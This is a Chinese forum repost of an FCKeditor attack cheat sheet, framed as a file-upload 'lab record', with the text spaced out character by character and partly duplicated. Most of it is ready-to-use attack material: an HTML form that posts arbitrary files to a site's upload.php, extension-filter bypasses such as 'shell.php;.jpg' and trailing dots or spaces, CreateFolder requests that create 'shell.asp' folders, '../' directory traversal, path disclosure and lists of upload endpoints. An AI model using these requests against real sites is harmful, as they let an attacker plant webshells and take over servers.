搜索

[7436] 2018-05-14_经典fck编辑器之文件上传实验记录（这是重点，会考）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2018-05-14_经典fck编辑器之文件上传实验记录（这是重点，会考） 经 典 f c k 编 辑 器 之 文 件 上 传 实 验 记 录 （ 这 是 重 点 ， 会 考 ） 原 创   t y r a n t _ 9 5   F 1 1 T e a m   2 0 1 8 - 0 5 - 1 4 查 看 编 辑 器 版 本 F C K e d i t o r / _ w h a t s n e w . h t m l — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 2 .   V e r s i o n   2 . 2   版 本 A p a c h e + l i n u x   环 境 下 在 上 传 文 件 后 面 加 个 . 突 破 ！ 测 试 通 过 。 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 3 . V e r s i o n   < = 2 . 4 . 2   F o r   p h p   在 处 理 P H P   上 传 的 地 方 并 未 对 M e d i a   类 型 进 行 上 传 文 件 类 型 的 控 制 ， 导 致 用 户 上 传 任 意 文 件 ！ 将 以 下 保 存 为 h t m l 文 件 ， 修 改 a c t i o n 地 址 。 < f o r m   i d = " f r m U p l o a d "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " a c t i o n = " h t t p : / / w w w . s i t e . c o m / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / u p l o a d / p h p / u p l o a d . p h p ? T y p e = M e d i a "   m e t h o d = " p o s t " > U p l o a d   a   n e w   f i l e : < b r > < i n p u t   t y p e = " f i l e "   n a m e = " N e w F i l e "   s i z e = " 5 0 " > < b r > < i n p u t   i d = " b t n U p l o a d "   t y p e = " s u b m i t "   v a l u e = " U p l o a d " > < / f o r m > — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 4 . F C K e d i t o r   文 件 上 传 “ . ” 变 “ _ ” 下 划 线 的 绕 过 方 法                 很 多 时 候 上 传 的 文 件 例 如 ： s h e l l . p h p . r a r   或 s h e l l . p h p ; . j p g   会 变 为 s h e l l _ p h p ; . j p g   这 是 新 版 F C K   的 变 化 。         4 . 1 ： 提 交 s h e l l . p h p + 空 格 绕 过 不 过 空 格 只 支 持 w i n   系 统   * n i x   是 不 支 持 的 [ s h e l l . p h p   和 s h e l l . p h p + 空 格 是 2   个 不 同 的 文 件   未 测 试 。         4 . 2 ： 继 续 上 传 同 名 文 件 可 变 为 s h e l l . p h p ; ( 1 ) . j p g   也 可 以 新 建 一 个 文 件 夹 ， 只 检 测 了 第 一 级 的 目 录 ， 如 果 跳 到 二 级 目 录 就 不 受 限 制 。 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 5 .   突 破 建 立 文 件 夹 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = C r e a t e F o l d e r & T y p e = I m a g e & C u r r e n t F o l d e r = % 2 F s h e l l . a s p & N e w F o l d e r N a m e = z & u u i d = 1 2 4 4 7 8 9 9 7 5 6 8 4 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = C r e a t e F o l d e r & C u r r e n t F o l d e r = / & T y p e = I m a g e & N e w F o l d e r N a m e = s h e l l . a s p — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 6 .   F C K e d i t o r   中 t e s t   文 件 的 上 传 地 址 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / u p l o a d / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / u p l o a d t e s t . h t m l — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 7 . 常 用 上 传 地 址 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = I m a g e & C u r r e n t F o l d e r = / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? t y p e = I m a g e & c o n n e c t o r = c o n n e c t o r s / a s p / c o n n e c t o r . a s p F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? T y p e = I m a g e & C o n n e c t o r = h t t p : / / w w w . s i t e . c o m % 2 F f c k e d i t o r % 2 F e d i t o r % 2 F f i l e m a n a g e r % 2 F c o n n e c t o r s % 2 F p h p % 2 F c o n n e c t o r . p h p   ( v e r : 2 . 6 . 3   测 试 通 过 ) J S P   版 ： F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? T y p e = I m a g e & C o n n e c t o r = c o n n e c t o r s / j s p / c o n n e c t o r . j s p 注 意 红 色 部 分 修 改 为 F C K e d i t o r   实 际 使 用 的 脚 本 语 言 ， 蓝 色 部 分 可 以 自 定 义 文 件 夹 名 称 也 可 以 利 用 . . / . . 目 录 遍 历 ， 紫 色 部 分 为 实 际 网 站 地 址 。 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 8 . 其 他 上 传 地 址 F C K e d i t o r / _ s a m p l e s / d e f a u l t . h t m l F C K e d i t o r / _ s a m p l e s / a s p / s a m p l e 0 1 . a s p F C K e d i t o r / _ s a m p l e s / a s p / s a m p l e 0 2 . a s p
F C K e d i t o r / _ s a m p l e s / a s p / s a m p l e 0 3 . a s p F C K e d i t o r / _ s a m p l e s / a s p / s a m p l e 0 4 . a s p 一 般 很 多 站 点 都 已 删 除 _ s a m p l e s   目 录 ， 可 以 试 试 。 F C K e d i t o r / e d i t o r / f c k e d i t o r . h t m l   不 可 以 上 传 文 件 ， 可 以 点 击 上 传 图 片 按 钮 再 选 择 浏 览 服 务 器 即 可 跳 转 至 可 上 传 文 件 页 。 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 9 . 列 目 录 漏 洞 也 可 助 找 上 传 地 址 V e r s i o n   2 . 4 . 1   测 试 通 过 修 改 C u r r e n t F o l d e r   参 数 使 用   . . / . . / 来 进 入 不 同 的 目 录 / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = C r e a t e F o l d e r & T y p e = I m a g e & C u r r e n t F o l d e r = . . / . . / . . % 2 F & N e w F o l d e r N a m e = s h e l l . a s p 根 据 返 回 的 X M L   信 息 可 以 查 看 网 站 所 有 的 目 录 。 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = I m a g e & C u r r e n t F o l d e r = % 2 F 也 可 以 直 接 浏 览 盘 符 ： J S P   版 本 ： F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / j s p / c o n n e c t o r ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = & C u r r e n t F o l d e r = % 2 F — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 1 0 . 爆 路 径 漏 洞 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = F i l e & C u r r e n t F o l d e r = / s h e l l . a s p — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 1 1 .   F C K e d i t o r   被 动 限 制 策 略 所 导 致 的 过 滤 不 严 问 题                 影 响 版 本 :   F C K e d i t o r   x . x   < =   F C K e d i t o r   v 2 . 4 . 3 脆 弱 描 述 ： F C K e d i t o r   v 2 . 4 . 3   中 F i l e   类 别 默 认 拒 绝 上 传 类 型 ： h t m l | h t m | p h p | p h p 2 | p h p 3 | p h p 4 | p h p 5 | p h t m l | p w m l | i n c | a s p | a s p x | a s c x | j s p | c f m | c f c | p l | b a t | e x e | c o m | d l l | v b s | j s | r e g | c g i | h t a c c e s s | a s i s | s h | s h t m l | s h t m | p h t m F c k e d i t o r   2 . 0   < =   2 . 2   允 许 上 传 a s a 、 c e r 、 p h p 2 、 p h p 4 、 i n c 、 p w m l 、 p h t   后 缀 的 文 件 上 传 后 它 保 存 的 文 件 直 接 用 的 $ s F i l e P a t h   =   $ s S e r v e r D i r   . $ s F i l e N a m e ， 而 没 有 使 用 $ s E x t e n s i o n   为 后 缀 . 直 接 导 致 在 w i n   下 在 上 传 文 件 后 面 加 个 . 来 突 破 [ 未 测 试 ] !                 而 在 a p a c h e   下 ， 因 为 " A p a c h e   文 件 名 解 析 缺 陷 漏 洞 " 也 可 以 利 用 之 ， 另 建 议 其 他 上 传 漏 洞 中 定 义 T Y P E   变 量 时 使 用 F i l e   类 别 来 上 传 文 件 , 根 据 F C K e d i t o r   的 代 码 ， 其 限 制 最 为 狭 隘 。                 在 上 传 时 遇 见 可 直 接 上 传 脚 本 文 件 固 然 很 好 ， 但 有 些 版 本 可 能 无 法 直 接 上 传 可 以 利 用 在 文 件 名 后 面 加 . 点 或 空 格 绕 过 ， 也 可 以 利 用 2 0 0 3   解 析 漏 洞 建 立 x x x . a s p 文 件 夹 或 者 上 传 x x . a s p ; . j p g ! — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — 1 2 . 最 古 老 的 漏 洞 ， T y p e 文 件 没 有 限 制 ！                 我 接 触 到 的 第 一 个 f c k e d i t o r 漏 洞 了 。 版 本 不 详 ， 应 该 很 古 老 了 ， 因 为 程 序 对 t y p e = x x x   的 类 型 没 有 检 查 。 我 们 可 以 直 接 构 造 上 传 把 t y p e = I m a g e   改 成 T y p e = h s r e n   这 样 就 可 以 建 立 一 个 叫 h s r e n 的 文 件 夹 ， 一 个 新 类 型 ， 没 有 任 何 限 制 ， 可 以 上 传 任 意 脚 本 ！                                                                                                                                                                                                   1 、 查 看 编 辑 器 版 本 / f c k e d i t o r / e d i t o r / d i a l o g / f c k _ a b o u t . h t m l 2 、 爆 绝 对 路 径 F C K e d i t o r / e d i t o r / d i a l o g / f c k _ s p e l l e r p a g e s / s p e l l e r p a g e s / s e r v e r - s c r i p t s / s p e l l c h e c k e r . p h p ( 支 持 p h p 的 通 杀 ) / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? t y p e = I m a g e & c o n n e c t o r = c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x   2 . 5 可 突 破 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = F i l e & C u r r e n t F o l d e r = / s h e l l . a s p 3 、 遍 历 目 录
/ F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = I m a g e & C u r r e n t F o l d e r = . . / . . / V e r s i o n   2 . 4 . 1   测 试 通 过 修 改 C u r r e n t F o l d e r   参 数 使 用   . . / . . / 来 进 入 不 同 的 目 录 ： / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ？ C o m m a n d = C r e a t e F o l d e r & T y p e = I m a g e & C u r r e n t F o l d e r = . . / . . / . . / & N e w F o l d e r N a m e = s h e l l . a s p 根 据 返 回 的 X M L   信 息 可 以 查 看 网 站 所 有 的 目 录 。 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p x / c o n n e c t o r . a s p x ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = I m a g e & C u r r e n t F o l d e r = / 也 可 以 直 接 浏 览 盘 符 ： J S P   版 本 ： F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / j s p / c o n n e c t o r ? C o m m a n d = G e t F o l d e r s A n d F i l e s & T y p e = & C u r r e n t F o l d e r = / 4 、 j s p 上 传 / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? C o n n e c t o r = c o n n e c t o r s / j s p / c o n n e c t o r / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? T y p e = I m a g e & C o n n e c t o r = c o n n e c t o r s / j s p / c o n n e c t o r . j s p 5 、 V e r s i o n   <   = 2 . 4 . 2   F o r   p h p   在 处 理 P H P   上 传 的 地 方 并 未 对 M e d i a   类 型 进 行 上 传 文 件 类 型 的 控 制 ， 导 致 用 户 上 传 任 意 文 件 ！ 将 以 下 保 存 为 h t m l 文 件 ， 修 改 a c t i o n 地 址 。 1   < < / c o d e > f o r m   i d = " f r m U p l o a d "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " a c t i o n = " h t t p : / / w w w . s i t e . c o m / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / u p l o a d / p h p / u p l o a d . p h p ? T y p e = M e d i a "   m e t h o d = " p o s t " > U p l o a d   a   n e w   f i l e : < < / c o d e > b r > < < / c o d e > i n p u t   t y p e = " f i l e "   n a m e = " N e w F i l e " s i z e = " 5 0 " > < < / c o d e > b r > < < / c o d e > i n p u t i d = " b t n U p l o a d "   t y p e = " s u b m i t "   v a l u e = " U p l o a d " > < / < / c o d e > f o r m >   6 、   F C K e d i t o r   文 件 上 传 “ . ” 变 “ _ ” 下 划 线 的 绕 过 方 法 很 多 时 候 上 传 的 文 件 例 如 ： s h e l l . p h p . r a r   或 s h e l l . p h p ; . j p g   会 变 为 s h e l l _ p h p ; . j p g   这 是 新 版 F C K   的 变 化 。 试 试 上 传 1 . a s p ; j p g 6 . 1 ： 提 交 s h e l l . p h p + 空 格 绕 过 不 过 空 格 只 支 持 w i n   系 统   * n i x   是 不 支 持 的 [ s h e l l . p h p   和 s h e l l . p h p + 空 格 是 2   个 不 同 的 文 件 未 测 试 。 6 . 2 ： 继 续 上 传 同 名 文 件 可 变 为 s h e l l . p h p ; ( 1 ) . j p g   也 可 以 新 建 一 个 文 件 夹 ， 只 检 测 了 第 一 级 的 目 录 ， 如 果 跳 到 二 级 目 录 就 不 受 限 制 。 7 、   突 破 建 立 文 件 夹 e d i t o r / F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = C r e a t e F o l d e r & T y p e = I m a g e & C u r r e n t F o l d e r = / q i n g . a s p & N e w F o l d e r N a m e = x . a s p F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = C r e a t e F o l d e r & T y p e = I m a g e & C u r r e n t F o l d e r = / s h e l l . a s p & N e w F o l d e r N a m e = z & u u i d = 1 2 4 4 7 8 9 9 7 5 6 8 4 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / a s p / c o n n e c t o r . a s p ? C o m m a n d = C r e a t e F o l d e r & C u r r e n t F o l d e r = / & T y p e = I m a g e & N e w F o l d e r N a m e = s h e l l . a s p 8 、   F C K e d i t o r   中 t e s t   文 件 的 上 传 地 址 F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / u p l o a d / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / u p l o a d t e s t . h t m l 9 、 最 古 老 的 漏 洞 ， T y p e 文 件 没 有 限 制 ！
我 接 触 到 的 第 一 个 f c k e d i t o r 漏 洞 了 。 版 本 不 详 ， 应 该 很 古 老 了 ， 因 为 程 序 对 t y p e = x x x   的 类 型 没 有 检 查 。 我 们 可 以 直 接 构 造 上 传 把 t y p e = I m a g e 改 成 T y p e = h s r e n   这 样 就 可 以 建 立 一 个 叫 h s r e n 的 文 件 夹 ， 一 个 新 类 型 ， 没 有 任 何 限 制 ， 可 以 上 传 任 意 脚 本 ！ 1 0 、 b r o w s e r F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? T y p e = F i l e & C o n n e c t o r = . . / . . / c o n n e c t o r s / a s p / c o n n e c t o r . a s p F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / b r o w s e r . h t m l ? t y p e = I m a g e & c o n n e c t o r = c o n n e c t o r s / a s p / c o n n e c t o r . a s p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理